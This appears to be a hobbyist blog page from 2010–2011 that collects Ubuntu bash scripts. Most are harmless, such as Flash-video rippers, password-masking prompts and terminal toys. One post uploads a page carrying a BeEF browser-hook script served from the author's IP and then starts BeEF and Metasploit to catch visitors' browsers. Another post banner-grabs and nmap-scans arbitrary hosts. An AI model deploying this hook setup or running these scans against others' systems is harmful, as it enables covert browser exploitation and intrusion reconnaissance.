Showing posts with label Scripts And Tricks. Show all posts
Showing posts with label Scripts And Tricks. Show all posts

Monday, February 14, 2011

PLAY /TMP FILE VIDEOS AND CACHED FILES

Over HERE I wrote a simple script using Virchanza's walk-through to grab Videos from Firefox's  cache folder. Normally if I seen a video I liked it was as easy as going to the /tmp folder and retrieving it, however something got broke somewhere using this method.

Andrew over at www.webupd8.org wrote a really cool script that solves this problem, and what makes his script even better, is the capability of saving those dreaded _CACHE_001_ files. You can find Andrew's script HERE. Below is his script using SMplayer replacing vlc.


#!/bin/bash

FLASH_TMP=`ls /tmp | grep Flash*`

if [[ $FLASH_TMP ]]; then
     mplayer /tmp/Flash*
else
     if [[ `ps x | awk '/libgcflashplayer.so\ /{print $1}'` ]]; then
          flashvids() { lsof -p `ps x | awk '/libgcflashplayer.so\ /{print $1}'` -n 2>/dev/null | perl -lne '@F = split(/ +/, $_, 9); print "/proc/$F[1]/fd/${\($F[3] =~ /(^\d+)/)[0]}" if $F[4] eq "REG" && $F[8] =~ /\(deleted\)$/'; }
     else
          flashvids() { lsof -p `ps x | awk '/libflashplayer.so\ /{print $1}'` -n 2>/dev/null | perl -lne '@F = split(/ +/, $_, 9); print "/proc/$F[1]/fd/${\($F[3] =~ /(^\d+)/)[0]}" if $F[4] eq "REG" && $F[8] =~ /\(deleted\)$/'; }
     fi

     cp $(flashvids) ~/Desktop/flashvideo.flv

fi

Another thing I normally would do is pause what ever video I'm watching from various sites and open it up from the /tmp folder with SMplayer. Luckily  Andrew covered that area as well, its as easy as changing the last line from.

cp $(flashvids) ~/Desktop/flashvideo.flv   to   smplayer $(flashvids)

Just create a Launcher for instant fun.

Thankyou Andrew for this great script, it has been really helpful to me and I'm sure an overwhelming amount of others. Please visit http://www.webupd8.org

 Source

Tuesday, October 19, 2010

Ubuntu 10.10 WebSite Information Collecter

Just a simple Bash Script to Collect a little Information from Websites: I might update this Script at a later time....


#!/bin/bash

echo
echo -n -e "\e[1;34mWhat is the Host Address? \033[0m"
read IPLOOKUP
clear
echo
echo
echo -e "\e[1;34mInformation Collected: \033[0m"
IPADDRESS=$(dig $IP | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p')

#var_url="http://ipinfodb.com/ip_query2.php
#var_url="http://ipinfodb.com/ip_query2.php?ip=$address

if [ "$IPLOOKUP" == "" ]; then
     var_url="http://ipinfodb.com/ip_query2.php"
else
     var_url="http://ipinfodb.com/ip_query2.php?ip=$IPLOOKUP"
fi

var_xml=`wget -q $var_url -O -`

var_ip=`echo $var_xml | grep -o "<Ip>[0-9 \.]*<\/Ip>" | \
     sed -e 's/<Ip>//' -e 's/<\/Ip>//'`

var_country=`echo $var_xml | grep -o "<CountryName>[A-Z a-z \s]*<\/CountryName>" | \
     sed -e 's/<CountryName>//' -e 's/<\/CountryName>//'`

var_state=`echo $var_xml | grep -o "<RegionName>[A-Z a-z \s]*<\/RegionName>" | \
     sed -e 's/<RegionName>//' -e 's/<\/RegionName>//'`

var_city=`echo $var_xml | grep -o "<City>[A-Z a-z \s]*<\/City>" | \
     sed -e 's/<City>//' -e 's/<\/City>//'`

host=$(host $var_ip | cut -d' ' -f5)

case "$IPLOOKUP" in
 www.*|WWW.*) echo "Domain Name:  $IPLOOKUP";;

 *) echo "Domain Name:  www.$IPLOOKUP";;
esac

echo "IP Address:   $var_ip"
echo "Host Name:    $host"
echo "Country:      $var_country"
echo "State/Region: $var_state"
echo "City:         $var_city"
echo "Map it:       http://ipinfodb.com/ip_locator.php?ip=$var_ip"
echo "All Domains:  http://www.my-ip-neighbors.com/?domain=$var_ip"
echo
echo
echo -e "\e[1;34mAlternative IP Addresses:\033[0m"
dig $IPLOOKUP | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'
echo
echo
echo -e "\e[1;34mGrabbing Banner:\033[0m"
sleep 2
printf "HEAD / HTTP/0.1\r\n\r\n" |nc -v -n -i2 $var_ip 80
echo
echo -en "\033[s\e[1;34mDigging Mail Servers: "
echo -en "\033[u\033[0m"
prefix1=www.${IPLOOKUP#www.}
dig $prefix1 MX +noall +answer
prefix2=${IPLOOKUP#www.}
dig $prefix2 MX +noall +answer
echo
echo
echo -en "\033[s\e[1;34mStarting Nmap: "
echo -en "\033[u\033[0m"
nmap -sV $var_ip
echo
echo
echo -e "\e[1;34mHost Scanned:\033[0m"
case "$IPLOOKUP" in
 www.*|WWW.*) echo "Domain Name:  $IPLOOKUP";;

 *) echo "Domain Name:  www.$IPLOOKUP";;
esac
echo "IP Address:   $var_ip"
echo
echo -e "\e[1;34m-END-\033[0m"
echo

echo
echo
echo -n "Gather Info form another Host? ";setterm -cursor off
while read -n 1 yourinput ;setterm -cursor on
do
echo
 case "$yourinput"
 in
 y)
clear
cd /HackScripts/WebAnalyzers/NetHostSearch/
  ./NetHostSearch.sh
  ;;
 *)
 echo Quiting....
 echo
bash
  ;;
 esac

done
bash

-END-

Source1
Source2
Source3 

Tuesday, October 12, 2010

Ubuntu 10.10 IP To FTP to BeEF and Metasploit Fun.

Since I have a dynamic IP, I wanted a way to Update BeEF's Hook JavaScript to reflect my current IP Address on my Free Host Server for some fun. Just thought I'll share it with you.

<script language='Javascript' src='http://localhost/beef/hook/beefmagic.js.php'></script>

#!/bin/sh
# IP to FTP to Beef
var=$(expr "`ifconfig eth0`" : '.*inet addr:\([^ ]*\).*')
cd ../../
sudo rm Catch.html
sed 's?^src.*$?src='"'"'http://'$var'/beef/hook/beefmagic.js.php'"'><"'/script>?' ix.html > Catch.html
echo " "
echo "User name?"
read name
echo "User password?"
read pass
echo "Connecting to WebHost"
filename="Catch.html"
hostname="ftp.WebHostAddress"
username="$name"
password="$pass"
ftp -in $hostname <<EOF
quote USER $username
quote PASS $password

binary
put $filename
quit
EOF
clear
sudo xterm -fg gray -bg black -e "python /Directory/beefit.py;read -p 'Press enter to if successfull'" &
echo "Wating for Metasploit to load"
sleep 10
sudo /etc/init.d/apache2 start
firefox localhost/beef
echo Press enter to quit
read enter

Thursday, October 7, 2010

Ubuntu 10.10 Bash Script Enter Password Protection By Hashing It Out.

Colucix posted a cool script over HERE that hashes out an entered password in a Bash Script. I figured I'll share it with you.

#!/bin/bash
#  Prompt user for username and password
read -p "please enter username and press [enter]: " username
echo -n "please enter password and press [enter]: "
#  Save current terminal settings
oldstty=$(stty -g)
#  Disable canonical mode and local echo
stty -icanon -echo
#  Get the first keystroke using dd
key=$(dd bs=1 count=1 2>/dev/null)
#  While key is not "Enter" store key in the password,
#  echo an asterisk and get another keystroke
while [ x$key != x$(echo) ]
do
  password=$password$key
  echo -n \*
  key=$(dd bs=1 count=1 2>/dev/null)
done
echo
#  Restore old terminal settings
stty "$oldstty"
#  Check results
echo $username
echo $password

Blank out the Password in Python would be.

#!/usr/local/bin/python
import getpass
user = raw_input('Enter your user name ')
passwd = getpass.getpass('enter your password ')
print user
print passwd
raw_input('Press ENTER to exit')

Sunday, October 3, 2010

Ubuntu 10.10 Fun with Terminal

I stumbled upon this site HERE that had some cool but useless scripts, anyway I thought I would just share with you my favorite two.

Just throw the following into a Terminal window and press Enter.

c=12322123;x=20;y=20;while read -sn1 p;do k=${c:(p-1)*2:2};let x+=$((k/10-2));let y+=$((k%10-2));echo -en \\033[$y\;"$x"HX;done
 
                    1= Left        2=Right        3=Up        4=Down.

while read -sn1 p;do s="";for((i=0;i<$p;i++));do s=x$s;done; yes $s > /dev/audio&sleep 0.1;kill %%;done

           numbers 1 - 9 Plays a different note for each key pressed.

Thursday, September 30, 2010

Ubuntu 10.10 What is my IP Address?

Just a simple Bash Script to spit out your current IP Address, I added a line to import it into Nmap for a daily port scan since I have a dynamic IP Address.

#!/bin/sh
echo
var=$(expr "`ifconfig eth0`" : '.*inet addr:\([^ ]*\).*') 
sudo nmap $var -p 1-65535
echo Press enter to quit
read enter

Monday, September 27, 2010

Ubuntu 10.10 Rip Flash Videos from Firefox Cache

Here's a cool Bash Script using Virchanza's walk through that can be found HERE as well as on the Remote Exploit Forum


#!/bin/bash
echo
cd ~/.mozilla/firefox/`cat ~/.mozilla/firefox/profiles.ini | grep -m 1 Path= | awk '{print substr($1,6,length($1)-5)}'`/Cache
find -size +2M | xargs file -F " "| grep Flash | awk '{print $1}' | xargs ls -lh | awk '{print "  "$8 " " $5 "  " "Macromedia \033[1;34mFLASH\033[0m Video"}'
echo
echo -n " Enter the name of the Flash file: "
read FLASH
cp $FLASH ~/Desktop/some_video.flv